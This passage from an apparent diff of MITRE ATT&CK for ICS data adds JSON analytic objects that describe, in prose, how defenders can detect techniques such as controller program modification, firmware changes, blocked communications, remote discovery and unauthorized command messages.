"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1914", + "description": "Monitor for unusual network traffic that may indicate additional tools transferred to the system. Use network intrusion detection systems, sometimes with SSL/TLS inspection, to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\nFirewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\nMonitor for behaviors on the endpoint system that might indicate successful compromise, such as abnormal behaviors of browser processes. This could include suspicious files written to disk.\nMonitor for newly constructed files written to disk through a user visiting a website over the normal course of browsing.\nMonitor for newly constructed network connections to untrusted hosts that are used to send or receive data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--882f2365-4c14-4c48-8eef-2a7c293c8569", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0783#AN1915", + "external_id": "AN1915" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1915", + "description": "Monitor device management protocols for functions that modify programs such as online edit and program append events.\nMonitor device alarms that indicate the program has changed, although not all devices produce such alarms.\nEngineering and asset management software will often maintain a copy of the expected program loaded on a controller and may also record any changes made to controller programs. Data from these platforms can be used to identify modified controller programs.\nMonitor device application logs that indicate the program has changed, although not all devices produce such logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8ed4e6d0-56d7-4e6b-8fa6-41f41631f30d", + "name": "Asset", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--11a350cf-1ea0-4065-877b-c3bb410bf3a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0784#AN1916", + "external_id": "AN1916" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1916", + "description": "Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications.\nMonitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor application logs for changes to settings and other events associated with network protocols that may be used to block communications.\nMonitor for a loss of network communications, which may indicate this technique is being used.\nMonitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if command messages are blocked.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c12c1c8-bcef-4daf-8e5b-fca235f71d9e", + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d71e98fa-64d1-4ddb-acb1-bba1e4af6a73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0785#AN1917", + "external_id": "AN1917" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1917", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7ec4b791-7054-442f-8967-6d6fa5e8678b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0786#AN1918", + "external_id": "AN1918" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1918", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f123f13f-b6f4-4e86-96cd-14df0e855e0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0787#AN1919", + "external_id": "AN1919" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1919", + "description": "Monitor for new ICS protocol connections to existing assets or for device scanning (i.e., a host connecting to many devices) over ICS and enterprise protocols (e.g., ICMP, DCOM, WinRM).\nMonitor for anomalies related to discovery related ICS functions, including devices that have not previously used these functions or for functions being sent to many outstations. Note that some ICS protocols use broadcast or multicast functionality, which may produce false positives. Also monitor for hosts enumerating network connected resources using non-ICS enterprise protocols.\nMonitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.\nMonitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) Consider monitoring for new processes engaging in scanning activity or connecting to multiple systems by correlating process creation network data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--484023ea-6fea-4f91-b40d-c6d87188cbfe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0788#AN1920", + "external_id": "AN1920" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1920", + "description": "Monitor ICS automation protocols for anomalies related to reading point or tag data, such as new assets using these functions, changes in volume or timing, or unusual information being queried. Many protocols provide multiple ways to achieve the same result (e.g., functions with/without an acknowledgment or functions that operate on a single point vs. multiple points). Monitor for changes in the functions used.\nMonitor asset application logs which may provide information about requests for points or tags. Look for anomalies related to reading point or tag data, such as new assets using these functions, changes in volume or timing, or unusual information being queried. Many devices provide multiple ways to achieve the same result (e.g., functions with/without an acknowledgment or functions that operate on a single point vs. multiple points). Monitor for changes in the functions used.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--393d7e7b-0790-49e7-9bcd-87ab4662b05e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0789#AN1921", + "external_id": "AN1921" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1921", + "description": "Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if reporting messages are blocked. \nMonitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications.\nMonitor application logs for changes to settings and other events associated with network protocols that may be used to block communications.\nMonitor for a loss of network communications, which may indicate this technique is being used.\nMonitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c12c1c8-bcef-4daf-8e5b-fca235f71d9e", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--880a1133-6639-42f0-96a8-3e914426d38b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0790#AN1922", + "external_id": "AN1922" + }, + { + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" + }, + { + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about" + }, + { + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + }, + { + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", + "url": "https://github.com/chipsec/chipsec" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1922", + "description": "Monitor for firmware changes which may be observable via operational alarms from devices.\nMonitor device application logs for firmware changes, although not all devices will produce such logs.\nMonitor ICS management protocols / file transfer protocols for protocol functions related to firmware changes.\nMonitor firmware for unexpected changes. Asset management systems should be consulted to understand known-good firmware versions. Dump and inspect BIOS images on vulnerable systems and compare against known good images.(Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.(Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "Firmware", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d937e4b8-20f2-44c1-9940-48c74318c715", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0791#AN1923", + "external_id": "AN1923" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1923", + "description": "Monitor for newly executed processes that depend on user interaction, especially for applications that can embed programmatic capabilities (e.g., Microsoft Office products with scripts, installers, zip files). This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. For added context on adversary procedures and background see [User Execution](https://attack.mitre.org/techniques/T1204) and applicable sub-techniques.\nMonitor for application logging, messaging, and/or other artifacts that may rely upon specific actions by a user in order to gain execution.\nMonitor for newly constructed web-based network connections that are sent to malicious or suspicious destinations (e.g., destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g., monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, SCF, HTA, MSI, DLLs, or msiexec.exe). \nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning PowerShell).\nMonitor for newly executed processes that depend on user interaction, especially for applications that can embed programmatic capabilities (e.g., Microsoft Office products with scripts, installers, zip files). This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\nMonitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious destinations (e.g., destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g., monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, SCF, HTA, MSI, DLLs, or msiexec.exe).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--37d989e6-14cd-49a4-adec-3d8b72c8dc22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0792#AN1924", + "external_id": "AN1924" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1924", + "description": "Consult asset management systems which may help with the detection of computer systems or network devices that should not exist on a network.\nMonitor for network traffic originating from unknown/unexpected devices or addresses. Local network traffic metadata could be used to identify unexpected connections, including unknown/unexpected source MAC addresses connecting to ports associated with operational protocols. Also, network management protocols such as DHCP and ARP may be helpful in identifying unexpected devices. \nMonitor for new master devices communicating with outstations, which may be visible in alarms within the ICS environment.\nMonitor for unexpected ICS protocol functions from new and existing devices. Monitoring known devices requires ICS function level insight to determine if an unauthorized device is issuing commands (e.g., a historian).\nMonitor for new master devices communicating with outstation assets, which may be visible in asset application logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b05a614b-033c-4578-b4f2-c63a9feee706", + "name": "Asset", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23ce0ac3-6afe-4647-be72-e1e9bcd1490e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0793#AN1925", + "external_id": "AN1925" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1925", + "description": "Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\nMonitor executed commands and associated arguments for application programs which support executing custom code, scripts, commands, or executables. \nMonitor for unusual processes execution, especially for processes that allow the proxy execution of malicious files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "Script", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23eb2bc3-735d-4425-96e1-f9d3a1453bfa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0794#AN1926", + "external_id": "AN1926" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1926", + "description": "Monitor industrial process history data for events that correspond with command message functions, such as setpoint modification or changes to system status for key devices. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor for anomalous or unexpected commands that may result in changes to the process operation (e.g., discrete write, logic and device configuration, mode changes) observable via asset application logs.\nMonitor for new or unexpected connections to controllers, which could indicate an Unauthorized Command Message being sent via [Rogue Master](https://attack.mitre.org/techniques/T0848).\nMonitor for anomalous or unexpected commands that may result in changes to the process operation (e.g., discrete write, logic and device configuration, mode changes) observable via asset application logs.\nMonitor for unexpected ICS protocol command functions to controllers from existing master devices (including from new processes) or from new devices. The latter is like detection for [Rogue Master](https://attack.mitre.org/techniques/T0848) but requires ICS function level insight to determine if an unauthorized device is issuing commands (e.g., a historian).\n\nMonitoring for unexpected or problematic values below the function level will provide better insights into potentially malicious activity but at the cost of additional false positives depending on the underlying operational process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c12c1c8-bcef-4daf-8e5b-fca235f71d9e", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fbd4686e-f637-459b-ad48-c6fd7840acfa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0795#AN1927", + "external_id": "AN1927" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1927", + "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--87f5d864-d79b-474a-a3b4-43673dcb9f90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0796#AN1928", + "external_id": "AN1928" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1928", + 